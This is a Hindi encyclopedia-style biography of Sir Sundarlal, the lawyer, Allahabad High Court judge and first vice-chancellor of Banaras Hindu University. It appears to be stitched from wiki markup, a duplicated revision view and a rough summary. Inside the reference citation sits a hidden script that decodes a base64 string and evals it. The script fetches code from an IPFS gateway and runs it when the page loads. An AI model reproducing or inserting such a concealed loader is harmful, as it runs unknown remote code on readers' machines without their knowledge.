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'''सर सुंदरलाल''' (जन्म-  [[1859]], [[नैनीताल]], [[उत्तरांचल]], मृत्यु-[[1918]]) प्रसिद्ध विधिवेत्ता और सार्वजनिक कार्यकर्ता थे। वे देश के विकाश के लिए औद्योगीकरण और शिक्षा प्रसार को उन्नति के लिये आवश्यक समझते थे।
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'''सर सुंदरलाल''' (जन्म-  [[1859]], [[नैनीताल]], [[उत्तरांचल]]; मृत्यु-[[1918]]) प्रसिद्ध विधिवेत्ता और सार्वजनिक कार्यकर्ता थे। वे देश के विकास के लिए औद्योगीकरण और शिक्षा प्रसार को उन्नति के लिये आवश्यक समझते थे।
 
==परिचय==
 
==परिचय==
अपने समय के प्रसिद्ध विधिवेत्ता और सार्वजनिक कार्यकर्ता सर सुंदरलाल का जन्म [[उत्तरांचल]] के [[नैनीताल ज़िला|नैनीताल जिले]] के जसपुर नामक स्थान पर [[1859]] ई. में हुआ था। उनका नागर ब्राह्मण परिवार गुजरात से आकर यहीं बसा था। उन्होंने पहले वकालत की परीक्षा पास की और फिर [[कोलकाता विश्वविद्यालय]] से स्नातक बनने के बाद वकालत करने लगे। अपनी प्रतिभा के बल पर उन्होंने इस क्षेत्र में शीघ्र ही बड़ी सफलता अर्जित कर ली। सरकार ने उन्हें सर की उपाधि दी थी।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=905|url=}}</ref>
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==उच्च पद==
 
==उच्च पद==
सर सुंदरलाल उच्च पदों पर आसीन रहे। वे अवध के ज्यूडिशियल कमिश्नर और [[इलाहाबाद उच्च न्यायालय|इलाहाबाद हाईकोर्ट]] के जज रहे। तीन बार वे [[इलाहाबाद यूनिवर्सिटी]] के और [[1916]] में [[काशी हिंदू विश्वविद्यालय]] के प्रथम वाइस चांसलर बने। इस विश्वविद्यालय की स्थापना में वे [[मदन मोहन मालवीय|मालवीय जी]] के बड़े सहायक थे।
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सर सुंदरलाल उच्च पदों पर आसीन रहे। वे [[अवध]] के ज्यूडिशियल कमिश्नर और [[इलाहाबाद उच्च न्यायालय|इलाहाबाद हाईकोर्ट]] के जज रहे। तीन बार वे [[इलाहाबाद यूनिवर्सिटी]] के और [[1916]] में [[काशी हिंदू विश्वविद्यालय]] के प्रथम वाइस चांसलर बने। इस विश्वविद्यालय की स्थापना में वे [[मदन मोहन मालवीय|मालवीय जी]] के बड़े सहायक थे।
 
==आचार विचार==  
 
==आचार विचार==  
सुंदरलाल के विचार इस संबंध में [[गोपाल कृष्ण गोखले]] से मिलते थे। हिंदू आचार विचार में निष्ठा रखने वाले सर सुंदरलाल संवैधानिक तरीकों से देश की स्वतंत्रता के समर्थक थे।   वे देश की समृद्धि के लिए औद्योगीकरण को आवश्यक मानते थे और शिक्षा प्रसार को उन्नति का साधन समझते थे।
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सुंदरलाल के विचार इस संबंध में [[गोपाल कृष्ण गोखले]] से मिलते थे। हिंदू आचार-विचार में निष्ठा रखने वाले सर सुंदरलाल संवैधानिक तरीकों से देश की स्वतंत्रता के समर्थक थे। वे देश की समृद्धि के लिए औद्योगीकरण को आवश्यक मानते थे और शिक्षा प्रसार को उन्नति का साधन समझते थे। सर सुंदरलाल का [[कांग्रेस]] से उसकी स्थापना के समय से ही संबंध था। [[मोतीलाल नेहरू]], मालवीय जी, [[एनी बीसेंट]] आदि उनके मित्र और सहयोगी थे। कांग्रेस के इलाहाबाद अधिवेशन, [[1910]] की स्वागत समिति के वही अध्यक्ष थे।   
सर सुंदरलाल का [[कांग्रेस]] से उसकी स्थापना के समय से ही संबंध था। [[मोतीलाल नेहरू]], मालवीय जी, [[एनी बीसेंट]] आदि उनके मित्र और सहयोगी थे। कांग्रेस के इलाहाबाद अधिवेशन [[1910]] की स्वागत समिति के वही अध्यक्ष थे।   
 
 
==मृत्यु==
 
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प्रसिद्ध विधिवेत्ता और सार्वजनिक कार्यकर्ता सर सुंदरलाल का [[1918]] ई. में निधन हो गया।
 
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11:50, 29 अगस्त 2018 का अवतरण

सर सुंदरलाल (जन्म- 1859, नैनीताल, उत्तरांचल; मृत्यु-1918) प्रसिद्ध विधिवेत्ता और सार्वजनिक कार्यकर्ता थे। वे देश के विकास के लिए औद्योगीकरण और शिक्षा प्रसार को उन्नति के लिये आवश्यक समझते थे।

परिचय

सर सुंदरलाल का जन्म उत्तरांचल के नैनीताल जिले के जसपुर नामक स्थान पर 1859 ई. में हुआ था। उनका नागर ब्राह्मण परिवार गुजरात से आकर यहीं बसा था। उन्होंने पहले वकालत की परीक्षा पास की और फिर कोलकाता विश्वविद्यालय से स्नातक बनने के बाद वकालत करने लगे। अपनी प्रतिभा के बल पर उन्होंने इस क्षेत्र में शीघ्र ही बड़ी सफलता अर्जित कर ली। सरकार ने उन्हें 'सर' की उपाधि दी थी।[1]

उच्च पद

सर सुंदरलाल उच्च पदों पर आसीन रहे। वे अवध के ज्यूडिशियल कमिश्नर और इलाहाबाद हाईकोर्ट के जज रहे। तीन बार वे इलाहाबाद यूनिवर्सिटी के और 1916 में काशी हिंदू विश्वविद्यालय के प्रथम वाइस चांसलर बने। इस विश्वविद्यालय की स्थापना में वे मालवीय जी के बड़े सहायक थे।

आचार विचार

सुंदरलाल के विचार इस संबंध में गोपाल कृष्ण गोखले से मिलते थे। हिंदू आचार-विचार में निष्ठा रखने वाले सर सुंदरलाल संवैधानिक तरीकों से देश की स्वतंत्रता के समर्थक थे। वे देश की समृद्धि के लिए औद्योगीकरण को आवश्यक मानते थे और शिक्षा प्रसार को उन्नति का साधन समझते थे। सर सुंदरलाल का कांग्रेस से उसकी स्थापना के समय से ही संबंध था। मोतीलाल नेहरू, मालवीय जी, एनी बीसेंट आदि उनके मित्र और सहयोगी थे। कांग्रेस के इलाहाबाद अधिवेशन, 1910 की स्वागत समिति के वही अध्यक्ष थे।

मृत्यु

प्रसिद्ध विधिवेत्ता और सार्वजनिक कार्यकर्ता सर सुंदरलाल का 1918 ई. में निधन हो गया।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 905 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख



अपने समय की प्रसिद्धि विधिवेत्ता और सार्वजनिक कार्यकर्ता सर सुंदरलाल का जन्म उत्तरांचल की नैनीताल जिले के जसपुर नामक स्थान में 1859 ईस्वी में हुआ था। उनका नागर ब्राह्मण परिवार गुजरात से आकर यहीं बसा था। उन्होंने पहले वकालत की परीक्षा पास की और फिर कोलकाता विश्वविद्यालय से स्नातक बनने के बाद वकालत करने लगे। अपनी प्रतिभा के बल पर उन्होंने इस क्षेत्र में शीघ्र ही बड़ी सफलता अर्जित की। अवध के ज्यूडिशियल कमिश्नर और इलाहाबाद हाईकोर्ट के जज रहे। तीन बार वे इलाहाबाद यूनिवर्सिटी और 1916 में काशी हिंदू विश्वविद्यालय की प्रथम वाइस चांसलर बने। इस विश्वविद्यालय की स्थापना में वे मालवीय जी के बड़े सहायक थे। सरकार ने उन्हें सर की उपाधि दी थी। सर सुंदरलाल का कांग्रेस से उसकी स्थापना के समय से ही संबंध था। मोतीलाल नेहरू, मालवीय ज,, एनी बीसेंट, उनके मित्र और सहयोगी थे। कांग्रेस की इलाहाबाद अधिवेशन 1910 की स्वागत समिति की वही अध्यक्ष थे। हिंदू आचार विचार में निष्ठा रखने वाले सर सुंदरलाल संवैधानिक तरीकों से देश की स्वतंत्रता के समर्थक थे। उनके विचार इस संबंध में गोपाल कृष्ण गोखले से मिलते थे। वे देश की समृद्धि के लिए औद्योगीकरण को आवश्यक मानते थे और शिक्षा प्रसार को उन्नति का साधन समझते थे। 1918 में उनका निधन हो गया। भारतीय चरित्र कोश 905